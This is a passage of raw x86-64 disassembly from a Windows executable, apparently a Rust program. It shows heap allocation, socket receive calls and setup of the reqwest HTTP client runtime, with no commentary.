mov r12, qword [rbx + 0x390]
mov rax, qword [rbx + 0x398]
mov qword [rbx + 0x198], rax
movdqu xmm0, xmmword [rbx + 0x3a8]
movdqa xmmword [rbx + 0xa70], xmm0
movdqu xmm7, xmmword [rbx + 0x3b8]
mov rax, qword [rbx + 0x3c8]
mov qword [rbx + 0xa8], rax
mov rax, qword [rbx + 0x3d0]
mov qword [rbx + 0xa0], rax
mov rax, qword [rbx + 0x3d8]
jmp 0x14000808d
mov rdi, r13
movdqu xmm0, xmmword [0x1401cbe48]
movdqa xmmword [rbx + 0xa70], xmm0
mov eax, 2
movq xmm7, rax
mov r13d, 0x1d
mov r12d, 0x18
lea rax, [0x1401cbe08]
mov qword [rbx + 0xb0], rax
xor r14d, r14d
xor eax, eax
mov qword [rbx + 0xe0], rax
xor eax, eax
mov qword [rbx + 0xa8], rax
xor eax, eax
mov qword [rbx + 0xa0], rax
xor eax, eax
mov qword [rbx + 0xd0], rax
mov dword [rbx + 0x3a0], 0
mov word [rbx + 0x3a4], 0
mov qword [rbx + 0x380], 0
mov dword [rbx + 0x388], 0
movdqu xmmword [rbx + 0x390], xmm6
mov byte [rbx + 0x3a0], 1
lea rcx, [rbx + 0x380]
mov rdx, qword [rbx + 0xc0]
mov r8, rdi
call fcn.140144c10
mov r15, rdx
cmp rax, 1
je 0x140009ae3
lea rcx, [rbx + 0x380]
mov rdx, r15
call fcn.140143660
cmp dword [rbx + 0x380], 2
jne 0x140008165
mov rsi, qword [rbx + 0x388]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140008173
mov rdi, rsi
dec rdi
mov rcx, qword [rsi - 1]
mov rax, qword [rsi + 7]
call qword [rax]
mov rax, qword [rsi + 7]
cmp qword [rax + 8], 0
je 0x14000814f
mov r8, qword [rdi]
cmp qword [rax + 0x10], 0x11
jb 0x140008140
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rdi
mov rcx, qword [0x140221370]
xor edi, edi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140008175
mov rsi, qword [rbx + 0x3a8]
mov edi, 1
jmp 0x140008175
xor edi, edi
mov rax, qword [rbx + 0xa0]
mov qword [rbx + 0xc8], r12
mov qword [rbx + 0xa0], rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x1400081af
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f817
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f817
mov r12, rax
mov qword [rbx + 0x108], rdi
mov qword [rbx + 0x100], rsi
mov qword [rax], r15
pxor xmm0, xmm0
movaps xmm1, xmmword [rbx + 0xa70]
shl r13, 8
movaps xmmword [rbx + 0xaa0], xmm1
movdqa xmmword [rbx + 0x2a0], xmm0
movdqa xmmword [rbx + 0x7c0], xmm0
movdqa xmmword [rbx + 0xc00], xmm0
movups xmm0, xmmword [rbx + 0x380]
movaps xmmword [rbx + 0x850], xmm0
mov eax, dword [rbx + 0xd80]
mov dword [rbx + 0x1a8], eax
movzx eax, word [rbx + 0xd84]
mov word [rbx + 0x1ac], ax
movzx eax, r14b
cmp qword [rbx + 0xb8], 0
je 0x1400082f5
movaps xmm0, xmmword [rbx + 0x2a0]
movaps xmmword [rbx + 0x380], xmm0
movaps xmm1, xmmword [rbx + 0x7c0]
movaps xmmword [rbx + 0xd80], xmm1
movaps xmm1, xmmword [rbx + 0xc00]
movaps xmmword [rbx + 0x880], xmm1
movaps xmm1, xmmword [rbx + 0x850]
movaps xmmword [rbx + 0x1040], xmm1
mov ecx, dword [rbx + 0x1a8]
mov dword [rbx + 0x238], ecx
movzx ecx, word [rbx + 0x1ac]
mov word [rbx + 0x23c], cx
movaps xmm1, xmmword [rbx + 0xaa0]
movaps xmmword [rbx + 0x140], xmm1
movaps xmmword [rbx + 0x240], xmm0
movaps xmm0, xmmword [rbx + 0xd80]
movaps xmmword [rbx + 0x310], xmm0
movaps xmm0, xmmword [rbx + 0x880]
movaps xmmword [rbx + 0x1b0], xmm0
movaps xmm0, xmmword [rbx + 0x1040]
movaps xmmword [rbx + 0x800], xmm0
movzx ecx, word [rbx + 0x23c]
mov word [rbx + 0x114], cx
mov ecx, dword [rbx + 0x238]
mov dword [rbx + 0x110], ecx
mov r14d, 1
jmp 0x14000835b
movaps xmm0, xmmword [rbx + 0xaa0]
movaps xmmword [rbx + 0x140], xmm0
movaps xmm0, xmmword [rbx + 0x2a0]
movaps xmmword [rbx + 0x240], xmm0
movaps xmm0, xmmword [rbx + 0x7c0]
movaps xmmword [rbx + 0x310], xmm0
movaps xmm0, xmmword [rbx + 0xc00]
movaps xmmword [rbx + 0x1b0], xmm0
movaps xmm0, xmmword [rbx + 0x850]
movaps xmmword [rbx + 0x800], xmm0
mov ecx, dword [rbx + 0x1a8]
mov dword [rbx + 0x110], ecx
movzx ecx, word [rbx + 0x1ac]
mov word [rbx + 0x114], cx
mov r14d, 2
mov rsi, qword [rbx + 0x120]
mov rdi, qword [rbx + 0xd8]
or r13, rax
movaps xmm0, xmmword [rbx + 0x140]
movaps xmmword [rbx + 0x2f0], xmm0
movaps xmm0, xmmword [rbx + 0x240]
movaps xmmword [rbx + 0xaf0], xmm0
movaps xmm0, xmmword [rbx + 0x310]
movaps xmmword [rbx + 0xb90], xmm0
movaps xmm0, xmmword [rbx + 0x1b0]
movaps xmmword [rbx + 0xa60], xmm0
movaps xmm0, xmmword [rbx + 0x800]
movaps xmmword [rbx + 0x1020], xmm0
mov eax, dword [rbx + 0x110]
mov dword [rbx + 0x370], eax
movzx eax, word [rbx + 0x114]
mov word [rbx + 0x374], ax
cmp qword [rbx + 0xf8], 0
je 0x1400083ec
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0xc0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm0, xmmword [rbx + 0x2f0]
movaps xmmword [rbx + 0xb60], xmm0
movaps xmm0, xmmword [rbx + 0xaf0]
movaps xmmword [rbx + 0xba0], xmm0
movaps xmm0, xmmword [rbx + 0xb90]
movaps xmmword [rbx + 0xbd0], xmm0
movaps xmm0, xmmword [rbx + 0xa60]
movaps xmmword [rbx + 0x200], xmm0
movaps xmm0, xmmword [rbx + 0x1020]
movaps xmmword [rbx + 0x2d0], xmm0
mov eax, dword [rbx + 0x370]
mov dword [rbx + 0x378], eax
movzx eax, word [rbx + 0x374]
mov word [rbx + 0x37c], ax
mov qword [rbx + 0x380], rdi
mov qword [rbx + 0x388], rsi
mov rax, qword [rbx + 0x7f8]
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 0
mov qword [rbx + 0x3a0], 8
xorps xmm0, xmm0
movups xmmword [rbx + 0x3a8], xmm0
mov qword [rbx + 0x3b8], 8
mov qword [rbx + 0x3c0], 0
mov rax, qword [rbx + 0xf0]
mov qword [rbx + 0x3c8], rax
lea rcx, [rbx + 0x3b0]
xor edx, edx
call fcn.140004eb0
movzx eax, byte [rbx + 0x3c8]
mov rcx, qword [rbx + 0x3c0]
mov r15, qword [rbx + 0x380]
mov rdx, qword [rbx + 0x3b8]
imul rdi, rcx, 0x128
mov qword [rdx + rdi], 0
lea rsi, [0x1402153cc]
mov qword [rdx + rdi + 8], rsi
mov qword [rdx + rdi + 0x10], 4
mov qword [rdx + rdi + 0x20], r13
mov rsi, qword [rbx + 0xb0]
mov qword [rdx + rdi + 0x28], rsi
mov rsi, qword [rbx + 0xc8]
mov qword [rdx + rdi + 0x30], rsi
mov rsi, qword [rbx + 0x198]
mov qword [rdx + rdi + 0x38], rsi
mov rsi, qword [rbx + 0xe0]
mov qword [rdx + rdi + 0x40], rsi
movaps xmm0, xmmword [rbx + 0xb60]
movups xmmword [rdx + rdi + 0x48], xmm0
movdqu xmmword [rdx + rdi + 0x58], xmm7
mov rsi, qword [rbx + 0xa8]
mov qword [rdx + rdi + 0x68], rsi
mov rsi, qword [rbx + 0xa0]
mov qword [rdx + rdi + 0x70], rsi
mov rsi, qword [rbx + 0xd0]
mov qword [rdx + rdi + 0x78], rsi
mov qword [rdx + rdi + 0x80], r14
mov rsi, qword [rbx + 0xe8]
mov qword [rdx + rdi + 0x88], rsi
mov rsi, qword [rbx + 0xb8]
mov qword [rdx + rdi + 0x90], rsi
mov rsi, qword [rbx + 0x118]
mov qword [rdx + rdi + 0x98], rsi
mov qword [rdx + rdi + 0xa0], 2
movaps xmm0, xmmword [rbx + 0xba0]
movups xmmword [rdx + rdi + 0xa8], xmm0
mov qword [rdx + rdi + 0xb8], 8
movaps xmm0, xmmword [rbx + 0xbd0]
movups xmmword [rdx + rdi + 0xc0], xmm0
mov qword [rdx + rdi + 0xd0], 8
movaps xmm0, xmmword [rbx + 0x200]
movups xmmword [rdx + rdi + 0xd8], xmm0
movaps xmm0, xmmword [rbx + 0x2d0]
movups xmmword [rdx + rdi + 0xe8], xmm0
mov word [rdx + rdi + 0xf8], 0
mov esi, dword [rbx + 0x378]
mov dword [rdx + rdi + 0xfa], esi
movzx esi, word [rbx + 0x37c]
mov word [rdx + rdi + 0xfe], si
mov qword [rdx + rdi + 0x100], 0
mov qword [rdx + rdi + 0x108], r12
lea rsi, [0x140177360]
mov qword [rdx + rdi + 0x110], rsi
mov rsi, qword [rbx + 0x108]
mov qword [rdx + rdi + 0x118], rsi
mov rsi, qword [rbx + 0x100]
mov qword [rdx + rdi + 0x120], rsi
inc rcx
mov qword [rbx + 0x3c0], rcx
mov rcx, qword [rbx + 0x3b8]
mov qword [rbx + 0xc60], rcx
mov rcx, qword [rbx + 0x3c0]
mov qword [rbx + 0xc68], rcx
mov ecx, dword [rbx + 0x3c9]
mov dword [rbx + 0x230], ecx
mov ecx, dword [rbx + 0x3cc]
mov dword [rbx + 0x233], ecx
movdqu xmm0, xmmword [rbx + 0x388]
movups xmm1, xmmword [rbx + 0x398]
movups xmm2, xmmword [rbx + 0x3a8]
movdqa xmmword [rbx + 0xc30], xmm0
movaps xmmword [rbx + 0xc40], xmm1
movaps xmmword [rbx + 0xc50], xmm2
cmp al, 3
je 0x140009b99
movdqa xmm0, xmmword [rbx + 0xc30]
movaps xmm1, xmmword [rbx + 0xc40]
movaps xmm2, xmmword [rbx + 0xc50]
mov rcx, qword [rbx + 0xc60]
mov qword [rbx + 0xb48], rcx
mov rcx, qword [rbx + 0xc68]
mov qword [rbx + 0xb50], rcx
movups xmmword [rbx + 0xb38], xmm2
movups xmmword [rbx + 0xb28], xmm1
movdqu xmmword [rbx + 0xb18], xmm0
mov ecx, dword [rbx + 0x230]
mov edx, dword [rbx + 0x233]
mov dword [rbx + 0xb59], ecx
mov dword [rbx + 0xb5c], edx
mov qword [rbx + 0xb10], r15
mov byte [rbx + 0xb58], al
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140008765
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f2f5
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f2f5
mov rsi, rax
movabs rax, 0xffff0000ffff
mov qword [rsi], rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x1400087b1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f2d8
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0xd0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f2d8
mov word [rbx + 0x8d8], 1
mov qword [rbx + 0x880], rsi
movdqu xmmword [rbx + 0x888], xmm8
mov qword [rbx + 0x898], rax
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x8a0], xmm0
mov qword [rbx + 0x8b0], 8
movdqu xmmword [rbx + 0x8b8], xmm0
movdqa xmmword [rbx + 0x1050], xmm0
movdqa xmmword [rbx + 0x1040], xmm0
lea rax, str._trust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rbx + 0x380], rax
mov qword [rbx + 0x388], 3
mov qword [rbx + 0x390], 0
lea rax, [0x1401e46b0]
mov qword [rbx + 0x398], rax
mov byte [rbx + 0x3a0], 0
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0x880]
lea r8, [rbx + 0x1040]
lea r9, [rbx + 0x380]
call fcn.1400a7110
cmp byte [rbx + 0xc50], 2
je 0x140008899
mov rax, qword [rbx + 0xc48]
lea rcx, [rbx + 0xc40]
mov rdx, qword [rbx + 0xc30]
mov r8, qword [rbx + 0xc38]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x18], 0
jne 0x1400088bb
call fcn.14014c4e0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm7, xmmword [rax + 0x20]
inc qword [rax + 0x20]
pxor xmm0, xmm0
movdqu xmmword [rbx + 0xc38], xmm0
mov qword [rbx + 0xc48], 0
movups xmm1, xmmword [rbx + 0x880]
movups xmm2, xmmword [rbx + 0x890]
movups xmm3, xmmword [rbx + 0x8a0]
movups xmm4, xmmword [rbx + 0x8b0]
movups xmmword [rbx + 0x384], xmm1
movups xmmword [rbx + 0x394], xmm2
movups xmmword [rbx + 0x3a4], xmm3
movups xmmword [rbx + 0x3b4], xmm4
movups xmm1, xmmword [rbx + 0x8c0]
movups xmmword [rbx + 0x3c4], xmm1
movups xmm1, xmmword [rbx + 0x8d0]
movups xmmword [rbx + 0x3d4], xmm1
movdqa xmmword [rbx + 0x1040], xmm0
movdqa xmmword [rbx + 0x240], xmm0
movups xmm0, xmmword [rbx + 0x380]
movups xmm1, xmmword [rbx + 0x390]
movups xmm2, xmmword [rbx + 0x3a0]
movups xmm3, xmmword [rbx + 0x3b0]
movaps xmmword [rbx + 0xd80], xmm0
movaps xmmword [rbx + 0xd90], xmm1
movaps xmmword [rbx + 0xda0], xmm2
movaps xmmword [rbx + 0xdb0], xmm3
movups xmm0, xmmword [rbx + 0x3c0]
movaps xmmword [rbx + 0xdc0], xmm0
movups xmm0, xmmword [rbx + 0x3d0]
movaps xmmword [rbx + 0xdd0], xmm0
mov eax, dword [rbx + 0x3e0]
mov dword [rbx + 0xde0], eax
movups xmm0, xmmword [rbx + 0xc30]
movups xmm1, xmmword [rbx + 0xc40]
movaps xmmword [rbx + 0x140], xmm0
movaps xmmword [rbx + 0x150], xmm1
mov eax, dword [rbx + 0x318]
mov dword [rbx + 0xa78], eax
mov rax, qword [rbx + 0x310]
mov qword [rbx + 0xa70], rax
mov eax, dword [rbx + 0x2a8]
mov dword [rbx + 0xb68], eax
mov rax, qword [rbx + 0x2a0]
mov qword [rbx + 0xb60], rax
mov eax, dword [rbx + 0x7c8]
mov dword [rbx + 0xba8], eax
mov rax, qword [rbx + 0x7c0]
mov qword [rbx + 0xba0], rax
mov eax, dword [rbx + 0xc08]
mov dword [rbx + 0xbd8], eax
mov rax, qword [rbx + 0xc00]
mov qword [rbx + 0xbd0], rax
movaps xmm0, xmmword [rbx + 0x1040]
movaps xmmword [rbx + 0x1b0], xmm0
movaps xmm0, xmmword [rbx + 0x240]
movaps xmmword [rbx + 0x800], xmm0
movdqu xmm0, xmmword [rbx + 0x880]
movdqa xmmword [rbx + 0xaa0], xmm0
movzx eax, byte [rbx + 0x852]
mov byte [rbx + 0x2d2], al
movzx eax, word [rbx + 0x850]
mov word [rbx + 0x2d0], ax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140008aa8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f306
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x2320
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f306
mov rsi, rax
pxor xmm0, xmm0
movdqu xmmword [rax + 0x2310], xmm0
movdqu xmmword [rax + 0x2300], xmm0
movdqu xmmword [rbx + 0x887], xmm0
mov qword [rbx + 0x897], 0
movdqu xmmword [rbx + 0x388], xmm0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140008b16
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f310
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x280
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f310
mov r12, rax
and r12, 0xffffffffffffff80
mov qword [r12 + 0x78], rax
movdqa xmm6, xmmword [0x140176600]
movdqa xmmword [r12 + 0x80], xmm6
mov qword [r12 + 0x100], rsi
mov qword [r12 + 0x108], 0
movaps xmm0, xmmword [rbx + 0x380]
movaps xmm1, xmmword [rbx + 0x390]
movaps xmm2, xmmword [rbx + 0x3a0]
movaps xmm3, xmmword [rbx + 0x3b0]
movaps xmmword [r12 + 0x180], xmm0
movaps xmmword [r12 + 0x190], xmm1
movaps xmmword [r12 + 0x1a0], xmm2
movaps xmmword [r12 + 0x1b0], xmm3
movaps xmm0, xmmword [rbx + 0x3c0]
movaps xmmword [r12 + 0x1c0], xmm0
movaps xmm0, xmmword [rbx + 0x3d0]
movaps xmmword [r12 + 0x1d0], xmm0
movaps xmm0, xmmword [rbx + 0x3e0]
movaps xmmword [r12 + 0x1e0], xmm0
movaps xmm0, xmmword [rbx + 0x3f0]
movaps xmmword [r12 + 0x1f0], xmm0
mov qword [r12 + 0x200], 0
mov qword [r12 + 0x208], rsi
mov qword [r12 + 0x210], rsi
mov byte [r12 + 0x218], 0
mov qword [r12 + 0x220], 0
mov byte [r12 + 0x228], 0
movups xmm0, xmmword [rbx + 0x880]
movups xmm1, xmmword [rbx + 0x88f]
movups xmmword [r12 + 0x238], xmm1
movups xmmword [r12 + 0x229], xmm0
movdqa xmm0, xmmword [0x140176620]
movdqu xmmword [r12 + 0x248], xmm0
lock inc qword [r12 + 0x80]
jle 0x140010f6d
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140008c7f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f321
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x48
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f321
mov r14, rax
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rax + 0x40], 0
lock inc qword [rax]
jle 0x140010f6d
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140008cdc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f32b
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x1d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f32b
mov rsi, rax
movups xmm0, xmmword [0x1401e99cd]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.reqwest_internal_sync_runtime]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbx + 0xd84]
movups xmm1, xmmword [rbx + 0xd94]
movups xmm2, xmmword [rbx + 0xda4]
movups xmm3, xmmword [rbx + 0xdb4]
movaps xmmword [rbx + 0x380], xmm0
movaps xmmword [rbx + 0x390], xmm1
movaps xmmword [rbx + 0x3a0], xmm2
movaps xmmword [rbx + 0x3b0], xmm3
movups xmm0, xmmword [rbx + 0xdc4]
movaps xmmword [rbx + 0x3c0], xmm0
movups xmm0, xmmword [rbx + 0xdd4]
movaps xmmword [rbx + 0x3d0], xmm0
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmmword [rbx + 0xc40], xmm1
movaps xmmword [rbx + 0xc30], xmm0
mov eax, dword [rbx + 0xa78]
mov dword [rbx + 0x2a8], eax
mov rax, qword [rbx + 0xa70]
mov qword [rbx + 0x2a0], rax
mov eax, dword [rbx + 0xb68]
mov dword [rbx + 0x7c8], eax
mov rax, qword [rbx + 0xb60]
mov qword [rbx + 0x7c0], rax
mov eax, dword [rbx + 0xba8]
mov dword [rbx + 0xc08], eax
mov rax, qword [rbx + 0xba0]
mov qword [rbx + 0xc00], rax
mov eax, dword [rbx + 0xbd8]
mov dword [rbx + 0x858], eax
mov rax, qword [rbx + 0xbd0]
mov qword [rbx + 0x850], rax
movaps xmm0, xmmword [rbx + 0x1b0]
movaps xmmword [rbx + 0x1040], xmm0
movaps xmm0, xmmword [rbx + 0x800]
movaps xmmword [rbx + 0x240], xmm0
movdqa xmm0, xmmword [rbx + 0xaa0]
movdqa xmmword [rbx + 0x310], xmm0
movzx eax, byte [rbx + 0x2d2]
mov byte [rbx + 0x202], al
movzx eax, word [rbx + 0x2d0]
mov word [rbx + 0x200], ax
call fcn.140147a50
mov r13, rax
mov r8d, 0x1d
xor ecx, ecx
mov rdx, rsi
call fcn.14005be50
test rax, rax
jne 0x14000f3be
mov qword [rbx + 0x880], 0x1d
mov qword [rbx + 0x888], rsi
mov qword [rbx + 0x890], 0x1d
lea rcx, [rbx + 0x880]
call fcn.140013a00
mov rcx, rax
call fcn.14013ac30
mov qword [rbx + 0xa0], rax
lock inc qword [rax]
jle 0x140010f6d
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x140008eb2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f828
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f828
mov r15, rax
movdqu xmmword [rax], xmm6
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
lock inc qword [rax]
jle 0x140010f6d
movzx eax, byte [0x140221258]
test al, al
je 0x140008f85
mov byte [0x140221258], 1
mov qword [rbx + 0x880], 0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x38], 0
je 0x140008f2a
lea rax, [rax + 0x40]
jmp 0x140008f38
call fcn.140146850
test rax, rax
je 0x14000f6a7
mov rsi, qword [rax]
mov qword [rax], 0
test rsi, rsi
je 0x140008f85
lock inc qword [rsi]
jle 0x140010f6d
mov byte [0x140221258], 1
mov qword [rbx + 0x880], rsi
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x38], 0
je 0x140008fcc
lea rax, [rax + 0x40]
jmp 0x140008fda
movzx eax, byte [0x140221258]
test al, al
je 0x140008fc8
mov byte [0x140221258], 1
mov qword [rbx + 0x880], 0
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x38], 0
je 0x140008fe2
lea rax, [rax + 0x40]
jmp 0x140008ff0
xor esi, esi
jmp 0x14000900c
call fcn.140146850
test rax, rax
je 0x14000f695
mov rcx, qword [rax]
mov qword [rax], rsi
jmp 0x140008ffc
call fcn.140146850
test rax, rax
je 0x14000f6a7
mov rcx, qword [rax]
mov qword [rax], 0
xor esi, esi
test rcx, rcx
je 0x14000900c
lock dec qword [rcx]
jne 0x14000900c
call fcn.14011ff60
mov rax, r15
add rax, 0x10
mov rcx, qword [rax]
test rcx, rcx
je 0x140009026
lock inc qword [rcx + 0x10]
jle 0x14000f57d
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000904b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f33c
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x1c0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f33c
lea rcx, [r12 + 0x80]
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rbx + 0xa8], rcx
mov qword [rax + 0x10], rcx
movaps xmm0, xmmword [rbx + 0x380]
movaps xmm1, xmmword [rbx + 0x390]
movaps xmm2, xmmword [rbx + 0x3a0]
movaps xmm3, xmmword [rbx + 0x3b0]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rbx + 0x3c0]
movups xmmword [rax + 0x58], xmm0
movaps xmm0, xmmword [rbx + 0x3d0]
movups xmmword [rax + 0x68], xmm0
mov qword [rax + 0x78], 0
movaps xmm0, xmmword [rbx + 0xc30]
movaps xmm1, xmmword [rbx + 0xc40]
movups xmmword [rax + 0x80], xmm0
movups xmmword [rax + 0x90], xmm1
lea rcx, [0x1401ef3a0]
mov qword [rax + 0xa0], rcx
movdqu xmmword [rax + 0xa8], xmm7
mov dword [rax + 0xc0], 0x3b9aca00
mov qword [rax + 0xc8], 0x5a
mov dword [rax + 0xd0], 0
mov ecx, dword [rbx + 0x2a8]
mov dword [rax + 0xdc], ecx
mov rcx, qword [rbx + 0x2a0]
mov qword [rax + 0xd4], rcx
mov dword [rax + 0xe0], 0x3b9aca00
mov ecx, dword [rbx + 0x7c8]
mov dword [rax + 0xec], ecx
mov rcx, qword [rbx + 0x7c0]
mov qword [rax + 0xe4], rcx
mov dword [rax + 0xf0], 0x3b9aca00
mov rcx, qword [rbx + 0xc00]
mov qword [rax + 0xf4], rcx
mov ecx, dword [rbx + 0xc08]
mov dword [rax + 0xfc], ecx
mov dword [rax + 0x100], 0x3b9aca00
mov ecx, dword [rbx + 0x858]
mov dword [rax + 0x10c], ecx
mov rcx, qword [rbx + 0x850]
mov qword [rax + 0x104], rcx
mov dword [rax + 0x110], 0x3b9aca00
mov qword [rax + 0x118], 0xffffffffffffffff
movaps xmm0, xmmword [rbx + 0x1040]
movups xmmword [rax + 0x120], xmm0
mov qword [rax + 0x130], 8
movaps xmm0, xmmword [rbx + 0x240]
movups xmmword [rax + 0x138], xmm0
mov qword [rax + 0x148], 8
mov qword [rax + 0x150], 0
mov dword [rax + 0x158], 0
mov dword [rax + 0x160], 0
mov dword [rax + 0x168], 0
mov qword [rax + 0x170], 2
movaps xmm0, xmmword [0x1401766f0]
movups xmmword [rax + 0x178], xmm0
mov dword [rax + 0x188], 0x2020404
movdqa xmm0, xmmword [rbx + 0x310]
movdqu xmmword [rax + 0x18c], xmm0
mov dword [rax + 0x19c], 0x1000101
mov word [rax + 0x1a0], 0x101
mov qword [rax + 0x1a2], 0
mov word [rax + 0x1aa], 1
mov byte [rax + 0x1ac], 0
movzx ecx, word [rbx + 0x200]
mov word [rax + 0x1ad], cx
movzx ecx, byte [rbx + 0x202]
mov byte [rax + 0x1af], cl
mov rcx, qword [rbx + 0xa0]
mov qword [rax + 0x1b0], rcx
mov qword [rax + 0x1b8], r15
lea r8, [0x1401e5510]
mov rcx, r13
mov rdx, rax
call fcn.140147c40
mov rdi, rdx
test rax, rax
jne 0x14000f40f
call fcn.14013ded0
test rax, rax
je 0x14000f2be
mov rsi, rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x1400092f2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f836
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f836
mov qword [rbx + 0xb0], rdi
movdqu xmmword [rax], xmm6
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
mov qword [rbx + 0x380], rcx
lea rax, vtable..0
mov qword [rbx + 0x388], rax
lea r13, [0x140150e90]
jmp 0x14000938f
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
mov rdx, r13
call fcn.14013b2f0
mov byte [rdi + 0xe0], 1
shr esi, 0x10
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], sil
call fcn.14013e170
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400093e1
xor esi, esi
test eax, eax
jne 0x140009468
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x90]
mov rdx, r13
call fcn.14013b2f0
mov byte [rsi + 0xe0], 1
mov eax, dword [0x140221400]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0xdc]
movzx ecx, byte [rcx + 0xdd]
mov edx, ecx
test ax, ax
je 0x140009410
test cl, cl
je 0x140009443
lea edx, [rcx - 1]
movzx ecx, cl
mov esi, dword [0x140221400]
mov rdi, qword gs:[0x58]
mov rdi, qword [rdi + rsi*8]
mov byte [rdi + 0xdd], dl
movzx ecx, cx
shl ecx, 8
movzx eax, ax
or eax, ecx
xor ecx, ecx
test cl, cl
jne 0x14000938a
jmp 0x140009460
mov rcx, qword [rbx + 0x380]
mov rax, qword [rbx + 0x388]
call qword [rax + reloc.WS2_32.dll_recv]
mov cl, 1
xor eax, eax
test cl, cl
jne 0x14000938a
shl eax, 8
movzx esi, cl
or esi, eax
mov rax, qword [r14 + 0x40]
test al, 2
jne 0x140009595
test al, 4
jne 0x14000958a
test al, 1
jne 0x140009490
test al, 1
je 0x1400094d2
jmp 0x140009507
mov rcx, qword [rbx + 0x380]
cmp rcx, qword [r14 + 0x30]
je 0x140009544
mov rax, qword [r14 + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
